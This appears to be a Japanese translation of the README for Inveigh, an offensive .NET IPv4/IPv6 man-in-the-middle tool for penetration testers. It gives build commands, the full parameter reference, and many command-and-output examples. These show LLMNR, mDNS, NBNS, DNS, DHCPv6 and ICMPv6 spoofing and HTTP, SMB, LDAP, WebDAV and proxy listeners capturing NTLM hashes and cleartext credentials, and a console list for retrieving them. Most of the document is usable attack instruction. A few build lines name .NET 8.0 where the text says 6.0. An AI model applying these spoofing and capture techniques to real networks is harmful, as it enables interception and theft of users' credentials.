Inveigh は、ペネトレーションテスター向けのクロスプラットフォーム .NET IPv4/IPv6 中間者攻撃ツールです。このリポジトリには、主要な C# バージョンと、従来の PowerShell バージョンの両方が含まれています。
Inveigh は、パケットスニッフィングとプロトコル固有のリスナー/ソケットの両方を介して、なりすまし攻撃とハッシュ/資格情報のキャプチャを実行します。このツールのオリジナルの PowerShell バージョンの基礎となったパケットスニッフィング方式には、次のような利点があります。
主な欠点は、昇格されたアクセス権が必要なことです。
現在のバージョンの Windows では、デフォルトで実行される UDP サービスによりポートの再利用が可能です。したがって、パケットスニッフィングは、使用中の UDP ポートを回避するための利点を提供しなくなりました。Inveigh の UDP リスナーはすべて、ポートの再利用を活用するように構成されています。
C# バージョンの Inveigh には、次のプロトコルに対する攻撃が含まれています。
Inveigh は、基盤となるプロトコルが両方をサポートする場合、IPv4 と IPv6 の両方で動作します。
Inveigh の SDK スタイルのプロジェクトファイルは .NET 3.5、4.6.2、6.0 向けに設定されており、6.0 が Linux と macOS でも動作するバージョンです。
<TargetFrameworks>net35;net62;net6.0</TargetFrameworks>
sudo route -nv add -net ff02::1:2 -interface en0dotnet Inveigh.dll
ターゲットシステムに .NET 6.0 がインストールされている場合
dotnet publish -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
dotnet publish -r osx-x64 -f net8.0 -p:AssemblyName=inveigh
ターゲットシステムに .NET 6.0 がインストールされていない場合
dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net8.0 -p:AssemblyName=inveigh
デフォルトのパラメータ値は Program.cs の先頭にあります。コンパイル前にすべてを確認し、ニーズに合わせて設定することをお勧めします。すべての有効/無効パラメータは Y/N 値で設定できます。```
//begin parameters - set defaults as needed before compile
public static string argCert = "MIIKaQIBAzCCC..."
public static string argCertPassword = "password";
public static string argChallenge = "";
public static string argConsole = "5";
public static string argConsoleLimit = "-1";
public static string argConsoleStatus = "0";
public static string argConsoleUnique = "Y";
public static string argDHCPv6 = "N";
public static string argDHCPv6TTL = "30";
public static string argDNS = "Y";
...
//end parameters
### パラメータヘルプ```
.\Inveigh.exe -?
Control:
-Inspect Default=Disabled: (Y/N) inspect traffic only.
-IPv4 Default=Enabled: (Y/N) IPv4 spoofing/capture.
-IPv6 Default=Enabled: (Y/N) IPv6 spoofing/capture.
-RunCount Default=Unlimited: Number of NetNTLM captures to perform before auto-exiting.
-RunTime Default=Unlimited: Run time duration in minutes.
Output:
-Console Default=5: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no disabled, no informational, 3=no disabled, no filtered, 4=no disabled, 5=all)
-ConsoleLimit Default=Unlimited: Limit to queued console entries.
-ConsoleStatus Default=Disabled: Interval in minutes for auto-displaying capture details.
-ConsoleUnique Default=Enabled: (Y/N) displaying only unique (user and system combination) hashes at time of capture.
-FileDirectory Default=Working Directory: Valid path to an output directory for enabled file output.
-FileOutput Default=Enabled: (Y/N) real time file output.
-FilePrefix Default=Inveigh: Prefix for all output files.
-FileUnique Default=Enabled: (Y/N) outputting only unique (user and system combination) hashes.
-LogOutput Default=Disabled: (Y/N) outputting log entries.
Spoofers:
-DHCPV6 Default=Disabled: (Y/N) DHCPv6 spoofing.
-DHCPv6TTL Default=300: Lease lifetime in seconds.
-DNS Default=Enabled: (Y/N) DNS spoofing.
-DNSHost Fully qualified hostname to use SOA/SRV responses.
-DNSSRV Default=LDAP: Comma separated list of SRV request services to answer.
-DNSSuffix DNS search suffix to include in DHCPv6/ICMPv6 responses.
-DNSTTL Default=30: DNS TTL in seconds.
-DNSTYPES Default=A: (A, AAAA, SOA, SRV) Comma separated list of DNS types to spoof.
-ICMPv6 Default=Enabled: (Y/N) sending ICMPv6 router advertisements.
-ICMPv6Interval Default=200: ICMPv6 RA interval in seconds.
-ICMPv6TTL Default=300: ICMPv6 TTL in seconds.
-IgnoreDomains Default=None: Comma separated list of domains to ignore when spoofing.
-IgnoreIPs Default=Local: Comma separated list of source IP addresses to ignore when spoofing.
-IgnoreMACs Default=Local: Comma separated list of MAC addresses to ignore when DHCPv6 spoofing.
-IgnoreQueries Default=None: Comma separated list of name queries to ignore when spoofing.
-Local Default=Disabled: (Y/N) performing spoofing attacks against the host system.
-LLMNR Default=Enabled: (Y/N) LLMNR spoofing.
-LLMNRTTL Default=30: LLMNR TTL in seconds.
-MAC Local MAC address for DHCPv6.
-MDNS Default=Enabled: (Y/N) mDNS spoofing.
-MDNSQuestions Default=QU,QM: Comma separated list of question types to spoof. (QU,QM)
-MDNSTTL Default=120: mDNS TTL in seconds.
-MDNSTypes Default=A: Comma separated list of mDNS record types to spoof. (A,AAAA,ANY)
-MDNSUnicast Default=Enabled: (Y/N) sending a unicast only response to a QM request.
-NBNS Default=Disabled: (Y/N) NBNS spoofing.
-NBNSTTL Default=165: NBNS TTL in seconds.
-NBNSTypes Default=00,20: Comma separated list of NBNS types to spoof. (00,03,20,1B)
-ReplyToDomains Default=All: Comma separated list of domains to respond to when spoofing.
-ReplyToIPs Default=All: Comma separated list of source IP addresses to respond to when spoofing.
-ReplyToMACs Default=All: Comma separated list of MAC addresses to respond to when DHCPv6 spoofing.
-ReplyToQueries Default=All: Comma separated list of name queries to respond to when spoofing.
-SpooferIP Default=Autoassign: IP address included in spoofing responses.
-SpooferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
-Repeat Default=Enabled: (Y/N) repeated spoofing attacks against a system after NetNTLM capture.
Capture:
-Cert Base64 certificate for TLS.
-CertPassword Base64 certificate password for TLS.
-Challenge Default=Random per request: 16 character hex NetNTLM challenge for use with the TCP listeners.
-HTTP Default=Enabled: (Y/N) HTTP listener.
-HTTPAuth Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS listener authentication.
-HTTPPorts Default=80: Comma seperated list of TCP ports for the HTTP listener.
-HTTPRealm Default=ADFS: Basic authentication realm.
-HTTPResponse Content to serve as the default HTTP/HTTPS/Proxy response.
-HTTPS Default=Enabled: (Y/N) HTTPS listener.
-HTTPSPorts Default=443: Comma separated list of TCP ports for the HTTPS listener.
-IgnoreAgents Default=Firefox: Comma separated list of HTTP user agents to ignore with wpad and proxy auth.
-LDAP Default=Enabled: (Y/N) LDAP listener.
-LDAPPorts Default=389: Comma separated list of TCP ports for the LDAP listener.
-ListenerIP Default=Any: IP address for all listeners.
-ListenerIPv6 Default=Any: IPv6 address for all listeners.
-MachineAccount Default=Enabled: (Y/N) machine account NetNTLM captures.
-Proxy Default=Disabled: (Y/N) proxy listener authentication captures.
-ProxyAuth Default=NTLM: (Basic/NTLM) Proxy authentication.
-ProxyPort Default=8492: Port for the proxy listener.
-SMB Default=Enabled: (Y/N) SMB sniffer/listener.
-SMBPorts Default=445: Port for the SMB listener.
-SnifferIP Default=Autoassign: IP address included in spoofing responses.
-SnifferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
-WebDAV Default=Enabled: (Y/N) serving WebDAV over HTTP/HTTPS listener.
-WebDAVAuth Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authentication.
-WPADAuth Default=Enabled: (Y/N) authentication type for wpad.dat requests. (Anonymous/Basic/NTLM)
-WPADResponse Default=Autogenerated: Contents of wpad.dat responses.
.\Inveigh.exe [] Inveigh 2.0 [Started 2021-06-15T00:08:37 | PID 12588] [+] Packet Sniffer Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Listener Addresses [IP 0.0.0.0 | IPv6 ::] [+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Spoofer Options [Repeat Enabled | Local Attacks Disabled] [-] DHCPv6 [+] DNS Packet Sniffer [Type A] [-] ICMPv6 [+] LLMNR Packet Sniffer [Type A] [-] MDNS [-] NBNS [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80] [-] HTTPS [+] WebDAV [WebDAVAuth NTLM] [-] Proxy [+] LDAP Listener [Port 389] [+] SMB Packet Sniffer [Port 445] [+] File Output [C:\Users\dev\source\repos\Inveigh\Inveigh\bin\Debug\net35] [+] Previous Session Files [Imported] [] Press ESC to enter/exit interactive console
### リスナー専用モード（無効化されたパケットスニファ）```
.\Inveigh.exe -sniffer n
[*] Inveigh 2.0 [Started 2021-06-14T10:48:16 | PID 20368]
[-] Packet Sniffer
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[-] DHCPv6
[+] DNS Listener [Type A]
[-] ICMPv6
[+] LLMNR Listener [Type A]
[-] MDNS
[-] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[-] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[-] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Listener [Port 445]
[+] File Output [C:\Users\dev\source\repos\InveighZero\Inveigh\bin\Debug\net35]
[+] Previous Session Files [Imported]
[*] Press ESC to enter/exit interactive console
[!] Failed to start SMB listener on port 445, check IP and port usage.
[!] Failed to start SMB listener on port 445, check IP and port usage.
注意: パケットスニファを無効にすると、InveighはIPv4およびIPv6のSMBリスナーを起動しようとします。ほとんどのWindowsシステムでは、ポート445は既に使用中です。エラーを無視するか、-smb n を追加してください。
DHCPv6スプーファーとIPv6 DNSスプーファーを起動します。注意: DNSはデフォルトで有効です。``` .\Inveigh.exe -dhcpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] ... [+] [23:03:06] DHCPv6 [solicitation] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] advertised to [00:0C:29:F0:6E:16] [+] [23:03:06] DHCPv6 [request] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] leased to [00:0C:29:F0:6E:16]
DHCPv6スプーファーを起動し、内部ドメインのみのDNSリクエストをスプーフィングしてください。```
.\Inveigh.exe -dhcpv6 y -replytodomains lab.inveigh.org
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
...
[-] [23:10:30] DNS(A) request [test.inveigh.org] from fe80::6142:1%2 [domain ignored]
[+] [23:10:33] DNS(A) request [wpad.lab.inveigh.org] from fe80::6142:1%2 [response sent]
DHCPv6スプーファを起動し、ICMPv6 RAパケットも送信します。``` .\Inveigh.exe -dhcpv6 y -icmpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] [+] ICMPv6 Router Advertisement [Interval 200 Seconds] ... [+] [23:12:04] ICMPv6 router advertisment sent to [ff02::1]
DHCPv6スプーファーを起動し、ローカルホストからのリクエストに応答します。```
.\Inveigh.exe -dhcpv6 y -local y
...
[+] Spoofer Options [Repeat Enabled | Local Attacks Enabled]
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
Aレコードに加えてSRVリクエストもスプーフィングします。``` .\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab.inveigh.org ... [+] DNS Listener [Types A:SRV] ... [+] [23:21:05] DNS(SRV) request [_ldap._tcp.dc._msdcs.lab.inveigh.org] from fe80::242d:f99e:7534:b46f%2 [response sent]
### <a name="ICMPv6"></a>ICMPv6
ICMPv6パケットを送信して、ローカルサブネットシステム上にセカンダリIPv6 DNSサーバを注入します。```
.\Inveigh.exe -icmpv6 y
...
[+] ICMPv6 Router Advertisement [Option DNS | Interval 200 Seconds]
...
[+] [23:35:46] ICMPv6 router advertisement with DNSv6 sent to [ff02::1]
ICMPv6パケットを送信し、ローカルサブネットシステム上に追加のDNS検索サフィックスを注入します。``` .\Inveigh.exe -icmpv6 y -dnssuffix inveigh.net ... [+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval 200 Seconds] ... [+] [23:41:17] ICMPv6 router advertisement with DNS Suffix sent to [ff02::1]
### <a name="LLMNR"></a>LLMNR
Aの代わりにAAAAリクエストを偽装します。```
.\Inveigh.exe -llmnrtypes AAAA
...
[+] LLMNR Listener [Type AAAA]
...
[-] [23:23:38] LLMNR(A) request [test] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
[-] [23:23:38] LLMNR(A) request [test] from 10.10.2.201 [type ignored]
[+] [23:23:38] LLMNR(AAAA) request [test] from 10.10.2.201 [response sent]
[+] [23:23:38] LLMNR(AAAA) request [test] from fe80::bd92:a800:60d0:8deb%2 [response sent]
mDNSスプーファーを起動し、QMリクエストに対してユニキャスト応答を送信します。``` .\Inveigh.exe -mdns y ... [+] MDNS Listener [Questions QU:QM | Type A] ... [+] [23:25:58] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent] [+] [23:25:58] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from 10.10.2.201 [type ignored] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
mDNSスプーファーを起動し、QMリクエストに対してマルチキャスト応答を送信します。```
.\Inveigh.exe -mdns y -mdnsunicast n
...
[+] MDNS Listener [Questions QU:QM | Type A]
...
[+] [23:28:26] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent]
[+] [23:28:26] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent]
NBNS スプーファーを開始``` .\Inveigh.exe -nbns y ... [+] NBNS Listener [Types 00:20] ... [+] [23:33:09] NBNS(00) request [TEST] from 10.10.2.201 [response sent]
### <a name="HTTP"></a>HTTP
ポート80でHTTPリスナーを起動（デフォルトで有効）```
.\Inveigh.exe
...
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
...
複数のポートでHTTPリスナーを起動する``` .\Inveigh.exe -httpports 80,8080 ... [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Ports 80:8080] ...
### <a name="HTTPS"></a>HTTPS
ポート443でInveighのデフォルト証明書を使用してHTTPSリスナーを起動します。```
.\Inveigh.exe -https y
...
[+] HTTPS Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 443]
...
SMBパケットスニッファを開始（デフォルトで有効）``` .\Inveigh.exe ... [+] SMB Packet Sniffer [Port 445] ...
ポート445でSMBリスナーを起動```
.\Inveigh.exe -sniffer n
...
[+] SMB Listener [Port 445]
...
ポート389でLDAPリスナーを起動する``` .\Inveigh.exe ... [+] LDAP Listener [Port 389] ...
### <a name="WebDAV"></a>WebDAV
デフォルトで有効になっているWebDAVサポートを使用してHTTPリスナーを起動します。```
.\Inveigh.exe
...
[+] WebDAV [WebDAVAuth NTLM]
...
ポート8492でプロキシ認証キャプチャを有効にします。``` .\Inveigh.exe -proxy y ... [+] Proxy Listener [ProxyAuth NTLM | Port 8492] ...
## コンソール
Inveigh には、ツールの実行中にアクセス可能なコンソールが含まれています（Esc キーを押して出入りします）。コンソールは、取得した認証情報やハッシュ、その他のさまざまな情報に簡単にアクセスできるようにします。コンソールのプロンプトは、クリアテキスト、NTLMv1、および NTLMv2 の取得数を、一意の数：合計数の形式でリアルタイムに更新します。なお、C2 経由で実行している場合、コンソールにアクセスできない可能性があります。
### 対話型コンソールヘルプ - ? または HELP を入力```
=============================================== Inveigh Console Commands ===============================================
Command Description
========================================================================================================================
GET CONSOLE | get queued console output
GET DHCPv6Leases | get DHCPv6 assigned IPv6 addresses
GET LOG | get log entries; add search string to filter results
GET NTLMV1 | get captured NTLMv1 hashes; add search string to filter results
GET NTLMV2 | get captured NTLMv2 hashes; add search string to filter results
GET NTLMV1UNIQUE | get one captured NTLMv1 hash per user; add search string to filter results
GET NTLMV2UNIQUE | get one captured NTLMv2 hash per user; add search string to filter results
GET NTLMV1USERNAMES | get usernames and source IPs/hostnames for captured NTLMv1 hashes
GET NTLMV2USERNAMES | get usernames and source IPs/hostnames for captured NTLMv2 hashes
GET CLEARTEXT | get captured cleartext credentials
GET CLEARTEXTUNIQUE | get unique captured cleartext credentials
GET REPLYTODOMAINS | get ReplyToDomains parameter startup values
GET REPLYTOIPS | get ReplyToIPs parameter startup values
GET REPLYTOMACS | get ReplyToMACs parameter startup values
GET REPLYTOQUERIES | get ReplyToQueries parameter startup values
GET IGNOREDOMAINS | get IgnoreDomains parameter startup values
GET IGNOREIPS | get IgnoreIPs parameter startup values
GET IGNOREMACS | get IgnoreMACs parameter startup values
GET IGNOREQUERIES | get IgnoreQueries parameter startup values
SET CONSOLE | set Console parameter value
HISTORY | get command history
RESUME | resume real time console output
STOP | stop Inveigh
コンソールプロンプトにはリアルタイムのキャプチャ数が表示されます。``` C(0:0) NTLMv1(0:0) NTLMv2(0:0)>
平文(ユニーク:合計) NTLMv1(ユニーク:合計) NTLMv2(ユニーク:合計)
## Quiddity
Inveighが使用するプロトコルライブラリは[ここ](https://github.com/Kevin-Robertson/Quiddity)にあります。
## 謝辞
* Responder - https://github.com/lgandx/Responder
* Impacket - https://github.com/SecureAuthCorp/impacket
* mitm6 - https://github.com/fox-it/mitm6